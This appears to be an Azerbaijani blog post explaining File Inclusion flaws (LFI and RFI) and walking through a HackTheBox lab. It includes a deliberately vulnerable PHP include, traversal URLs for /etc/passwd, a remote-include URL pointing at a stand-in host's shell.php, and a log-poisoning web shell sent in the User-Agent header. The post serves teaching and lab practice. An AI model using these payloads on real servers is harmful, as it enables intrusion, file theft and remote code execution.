İnternetin pərdəarxasında işləyən minlərlə skript, fayl və modul veb tətbiqlərin düzgün işləməsi üçün bir-birinə bağlıdır. İstifadəçi bir düyməni kliklədikdə və ya bir səhifəyə daxil olduqda, server pərdəarxasında həmin əməliyyatı yerinə yetirmək üçün çoxsaylı faylları yükləyir. Bu proses bəzən include və ya require funksiyaları vasitəsilə həyata keçirilir. Məhz bu məqamda, əgər ehtiyat tədbirləri görülməzsə, təhlükəli bir zəiflik ortaya çıxır — File Inclusion.

File Inclusion nədir?

File Inclusion (Fayl daxil etmə zəifliyi) veb tətbiqin istifadəçi tərəfindən göndərilən məlumatı yoxlamadan fayl yolu kimi işlətməsi nəticəsində yaranır. Başqa sözlə, tətbiq, yüklənəcək və icra olunacaq faylın adını və ya yolunu birbaşa istifadəçidən alır.

Əgər bu nəzarətsiz şəkildə baş verirsə, hücumçu:

1.Serverin içindəki digər faylları oxuya bilər

2.Sistem konfiqurasiyalarını ələ keçirə bilər

3.Hətta uzaqdan kod icrasına nail ola bilər

File Inclusion növləri

Bu zəiflik əsasən iki böyük kateqoriyaya bölünür:

1. Local File Inclusion (LFI)

Lokal Fayl Daxil Etmə — hücumçu serverdə artıq mövcud olan faylları yükləyir. Məsələn, belə bir PHP kodunu nəzərdən keçirək:

<?php
$page = $_GET['page'];
include($page);
?>

İstifadəçi bu URL-i daxil etsə:

http://example.com/index.php?page=about.php

server about.php faylını yükləyəcək. Amma eyni üsulla:

http://example.com/index.php?page=../../etc/passwd

yazılarsa, Linux sistemindəki passwd faylını oxumaq mümkün olacaq.

2. Remote File Inclusion (RFI)

Uzaqdan Fayl Daxil Etmə — server, internet üzərindən başqa bir ünvanın faylını yükləyir və icra edir. Məsələn:

http://example.com/index.php?page=http://anything_website/shell.php

Bu halda server anything_website saytındakı kodu yükləyir və çalışdırır, nəticədə hücumçu tam idarəetməni ələ keçirə bilər.

File Inclusion necə istismar olunur?

Bu zəifliyin istismarı adətən belə addımlarla olur:

  1. Fayl yükləmə mexanizmini tapmaq — URL parametrlərində page=, file=, lang=, template= kimi açar sözlərə diqqət yetirmək.
  2. Path traversal üsullarından istifadə — ../ ardıcıllığı ilə yuxarı qovluqlara çıxmaq.
  3. Həssas faylları oxumaq/etc/passwd, config.php, database.yml və s.
  4. Kod icrası — log fayllarına və ya yüklənmiş fayllara PHP kodu yerləşdirərək serverdə işlətmək.

Skills assessment-HTB

İlk olaraq bizə bir IP ünvan təqdim olundu və tapşırıq uzaqdan kod icrası əldə etmək, daha sonra isə fayl sistemində yerləşən bayrağı tapmaq idi.

None

Məsələyə yanaşmağımızda ilk addım mövcud endpointlərin müəyyənləşdirilməsi oldu.

None

Bunun üçün directory listing üsulundan istifadə etdik və nəticədə contact, index, about, industrieserror endpointlərini aşkar etdik.

None

Bu proses BurpSuite vasitəsilə də həyata keçirilə bilərdi, lakin biz həm directory listing, həm də BurpSuite metodlarını birlikdə tətbiq edərək daha peşəkar şəkildə daha çox endpoint əldə edə bildik.

Araşdırmalar zamanı php://filter/read=convert.base64-encode/resource=index üsulundan istifadə edərək index.php faylını serverdən base64 "bypass" ilə əldə etdik.

None

Terminalda decode əməliyyatını yerinə yetirdikdə faylın məzmunu açıq şəkildə göründü.

None

Faylın içində ilf_admin/index.php hissəsinin mövcud olduğunu gördük və ora daxil olduqda admin səhifəsinə aid log məlumatlarını aşkar etdik.

None

Bu məlumatlardan istifadə edərək həmin endpointdə LFI (Local File Inclusion) boşluğunu araşdırmaq qərarına gəldik. Bu proses üçün ffuf alətindən istifadə etdik, çünki o, həm daha sürətli işləyir, həm də daha çox sorğu göndərməyə imkan yaradır.

None

LFI boşluğunu təsdiqlədikdən sonra serverin nginx üzərində işlədiyini müşahidə etdik.

None
None

Növbəti mərhələdə brauzerdə araşdırma apararaq access.log fayllarının hansı yolda yerləşdiyini müəyyən etdik.

None

Burada əsas hədəfimiz User-Agent sahəsinə <?php system($_GET['cmd']); ?> kodunu əlavə etmək idi. Beləliklə, access log faylları LFI vasitəsilə include() funksiyasına daxil edilərkən kodumuz icra olunurdu.

Kod icrası uğurla əldə edildikdən sonra access log üzərindən ikinci sorğu göndərərək cmd=ls ../ əmri ilə fayl siyahısını aldıq. Siyahıda bayraq faylını taparaq cat əmri vasitəsilə oxuduq və tapşırığı uğurla yerinə yetirdik.

None